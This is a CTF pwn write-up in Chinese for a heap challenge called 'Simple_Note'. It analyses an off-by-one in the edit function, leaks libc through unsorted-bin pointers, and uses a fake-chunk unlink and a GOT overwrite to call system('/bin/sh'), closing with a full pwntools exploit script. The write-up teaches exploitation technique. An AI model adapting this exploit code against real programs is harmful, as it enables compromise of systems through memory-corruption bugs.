美文网首页
【CTF-PWN】Simple_Note

【CTF-PWN】Simple_Note

作者: Kirin_say | 来源:发表于2018-09-13 00:02 被阅读125次

    文章有其他用途,写的比较基本

    0x01 程序分析

    这是一个记录note的程序:

    ======================
    1. add a new note
    2. delete the note
    3. show the note
    4. edit the note
    5. exit
    ======================
    Your choice: 
    

    bss段的全局数组list存储note的索引
    看一下主要功能

    add

    在add中:

    for ( i = 0; i <= 15 && list[i]; ++i )
    

    可以看到最多存储16个note
    且约束了每个note大小:

      if ( v2 <= 127 )
      {
        puts("Too small size!!!");
        exit(0);
      }
    

    delete

    在delete中:

      free(list[v1]);
      list[v1] = 0LL;
    

    free后置空了指针,不存在UAF

    show

    在show中:

    int show()
    {
      signed int v1; // [rsp+Ch] [rbp-4h]
    
      puts("Please input the index: ");
      v1 = read_int("Please input the index: ");
      if ( v1 < 0 || v1 > 16 )
        return puts("Invalid index");
      if ( !list[v1] )
        return puts("No such note");
      puts("Note: ");
      return puts(list[v1]);
    }
    

    联想到可能潜在的威胁:
    我们可以覆盖"\x00"结束符来leak数据

    edit

    int edit()
    {
      unsigned int v1; // ST0C_4
      signed int v2; // [rsp+8h] [rbp-8h]
    
      puts("Please input the index: ");
      v2 = read_int("Please input the index: ");
      if ( v2 < 0 || v2 > 16 )
        return puts("Invalid index");
      if ( !list[v2] )
        return puts("No such note");
      v1 = strlen(list[v2]);
      puts("Please input your note: ");
      return read_string(list[v2], v1);
    }
    

    这里比较明显:

    read_string(list[v2], v1)
    而:
    v1 = strlen(list[v2]);
    

    存在Off-By-One
    在chunk结构体中:

    struct malloc_chunk {
    
      INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
      INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
    
      struct malloc_chunk* fd;         /* double links -- used only if free. */
      struct malloc_chunk* bk;
    
      /* Only used for large blocks: pointer to next larger size.  */
      struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
      struct malloc_chunk* bk_nextsize;
    };
    

    prev_size可以用于存储上一个chunk的数据
    如果上个chunk恰好覆盖到prev_size结束,那么就会和这个chunk的size相接,使得edit时strlen比实际上多出一字节(size),那么通过edit上个chunk便可以修改这个chunk的size

    0x02 漏洞

    首先是show处的leak以及edit处的Off-By-One
    利用show来leak libc:

    add(0x88,'a'*0x80)
    add(0x88,'a'*0x88)
    delete(0)
    add(0x88,'a'*7)
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline("0")
    p.recvuntil("aaaaaaa\n")
    libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
    

    说明:
    首先add两个note
    再delete第一个note
    此时第一个chunk:

    pwndbg> heap
    0x603000 PREV_INUSE {
      prev_size = 0x0, 
      size = 0x91, 
      fd = 0x7ffff7dd1b78 <main_arena+88>, 
      bk = 0x7ffff7dd1b78 <main_arena+88>, 
      fd_nextsize = 0x6161616161616161, 
      bk_nextsize = 0x6161616161616161
    }
    

    那么再add一个note,写入8字节('a'*7+'\n'),show的时候便会将bk中的数据put出来,从而leak libc
    下面首先想到能否修改list中的索引值,使其中一项指向GOT表中的free或puts,再利用edit修改其为system函数地址
    先动调一下:

    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603000 ◂— 0x7ffff7dd1b78
    smallbins
    empty
    largebins
    empty
    

    看到其使用unsortedbin,先尝试一下unlink
    我们先申请几个chunk:

    add(0x88,'a'*0x88)
    add(0x88,'a'*0x88)
    add(0x88,'a'*0x88)
    

    在其中一个chunk上fake chunk
    并覆盖掉下一个chunk的prev_size和size
    使得系统认为这个fake chunk未被分配
    再free掉下一个chunk
    此时系统利用unlink将下一个chunk与fake chunk合并
    因为fake chunk上的fd、bk可控,所以我们可以利用此时unlink操作修改特定地址为特定值
    这里unlink时会判断:

    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
      malloc_printerr (check_action, "corrupted double-linked list", P, AV); 
    

    而恰好list数组中储存的地址便指向堆中的P
    例:

    fake chunk 位于第n个chunk -> list[n-1]
    构造:
    fake chunk -> fd = &list[n-1]-8*3
    fake chunk -> bk = &list[n-1]-8*2
    最终unlink后:
    FD->bk = BK  即 fake chunk -> fd (&list[n-1]-8*3) ->bk (list[n-1])=&list[n-1]-8*2
    BK->fd = FD  即 fake chunk -> bk (&list[n-1]-8*2) ->fd (list[n-1])=&list[n-1]-8*3
    最终效果:
    list[n-1]=&list[n-1]-8*3
    即,使一个指针指向这个指针-24位置处:p=&p-24
    

    这里我们最终是list[4]的chunk与list[3]中构造的fake chunk合并
    最终unlink操作的是list[3],而后list[3]中的值为&list[3]-8*3,即list[0]
    此时edit(list[3])即会修改list[0]中保存的地址
    可以将list[0]修改为free的got表地址
    而后edit(list[0])即会修改free的got表地址
    将其修改为system_addr后
    delete一个字符串为'/bin/sh'的堆块
    即会调用system('/bin/sh')

    注意:
    这里选择构造fake chunk的chunk最小在list[3]处
    否则将list[2]=&list[2]-8*3=list[0]-8,如果read足够长的字符串
    我们也可以'a'*8+p64(got['free']),不过这里是按照strlen来read字符串
    这里注意:strlen(*list[3](list[0]))一般为4,这取决于堆所在的地址的长度
    例,一般为:

    0x000000000141a0a0 ->a0 a0 41 01
    

    所以在edit(3, p64(got['free']))时,实际上只有四字节被读取
    实际上,got['free']有效字节数只有3
    system真实地址symbols["system"]有效字节数只有6
    不过我们不能edit(3, p64(got['free'])[:3])
    这样会:

    0x6020c0 <list>:    0x000000000a602018  0x000000000141a0a0
    0x6020d0 <list+16>: 0x000000000141a130  0x00000000006020c0
    

    换行符会占剩下那一个字符
    不过可以edit(3, p64(got['free'])[:4])
    同理可以edit(0, p64(symbols["system"])[:6])

    0x03 EXP

    from pwn import *
    
    #context.log_level = 'debug'
    p=process("./simple_note")
    elf=ELF("./simple_note")
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def add(size,note):
       p.recvuntil("choice: ")
       p.sendline("1")
       p.recvuntil("size: ")
       p.sendline(str(size))
       p.recvuntil("note: ")
       p.sendline(note)
    
    def delete(index):
       p.recvuntil("choice: ")
       p.sendline("2")
       p.recvuntil("index: ")
       p.sendline(str(index))
    
       
    def  edit(index,note):
       p.recvuntil("choice: ")
       p.sendline("4")
       p.recvuntil("index: ")
       p.sendline(str(index))   
       p.recvuntil("note: ")
       p.sendline(note)
    
    add(0x88,'a'*0x80)
    add(0x88,'a'*0x88)
    delete(0)
    add(0x88,'a'*7)
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline("0")
    p.recvuntil("aaaaaaa\n")
    libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
    add(0x88,'a'*0x88)
    add(0x88,'a'*0x88)
    add(0x88,'a'*0x88)
    edit(3,p64(0)+p64(0x80)+p64(0x6020c0)+p64(0x6020c0+8)+'a'*0x60+p64(0x80)+'\x90')
    delete(4)
    edit(3, p64(elf.got['free']))
    #gdb.attach(p)
    edit(0, p64(libc.symbols["system"]))
    add(0x80, '/bin/sh\x00')
    delete(4)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:【CTF-PWN】Simple_Note

          本文链接:https://www.haomeiwen.com/subject/vmmbgftx.html